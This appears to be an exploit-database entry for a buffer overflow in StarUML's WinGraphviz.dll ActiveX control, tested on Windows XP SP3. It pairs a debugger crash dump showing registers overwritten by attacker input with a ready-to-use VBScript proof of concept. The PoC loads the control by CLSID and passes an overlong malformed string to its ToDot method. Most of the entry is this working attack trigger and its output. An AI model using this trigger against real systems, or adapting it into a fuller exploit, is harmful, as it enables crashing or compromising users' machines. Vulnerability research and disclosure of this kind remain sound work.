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StarUML WinGraphviz.dll - ActiveX Buffer Overflow Vulnerability

Author
d3b4g
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-21069
Category
dos / poc
Date add
03-08-2013
Platform
windows
# Exploit Title: StarUML WinGraphviz.dll ActiveX buffer overflow vulnerability
# Date: 03.8.2013
# Exploit Author: d3b4g
# Vendor Homepage:http://staruml.sourceforge.net/en/
# Software Link: http://staruml.sourceforge.net/en/
# Tested on: Windows XP SP3
  
  
 
About StarUML
--------------
 
StarUML is an open source project to develop fast, flexible, extensible, featureful, and freely-available UML/MDA platform running on Win32 platform.
 
 
 
 
  
Exception Code: ACCESS_VIOLATION
Disasm: D98439  MOV DL,[EBP]    (WinGraphviz.DLL)
 
Seh Chain:
--------------------------------------------------
1   6B47D959    VBSCRIPT.dll
2   772FE115    ntdll.dll
 
 
Called From                   Returns To                   
--------------------------------------------------
 
 
Registers:
--------------------------------------------------
EIP 00D98439 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes
EAX 00894119 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes
EBX 0020D70A -> 00000038
ECX 00894119 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes
EDX 000003FF
EDI 000003FE
ESI 00000000
EBP 00000000
ESP 0020D618 -> 00000059
 
 
 
The example code below triggers the vulnerability
-------------------------------------------------
 
 
<object classid='clsid:1F25D86C-95BC-4E33-A177-EE8DABEF8B04' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files\StarUML\WinGraphviz.dll"
prototype  = "Function ToDot ( ByVal Source As String ) As String"
memberName = "ToDot"
progid     = "WINGRAPHVIZLib.NEATO"
argCount   = 1
 
arg1="http://test\test\test\te?s\test\test\tes\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\"
 
target.ToDot arg1
 
</script>

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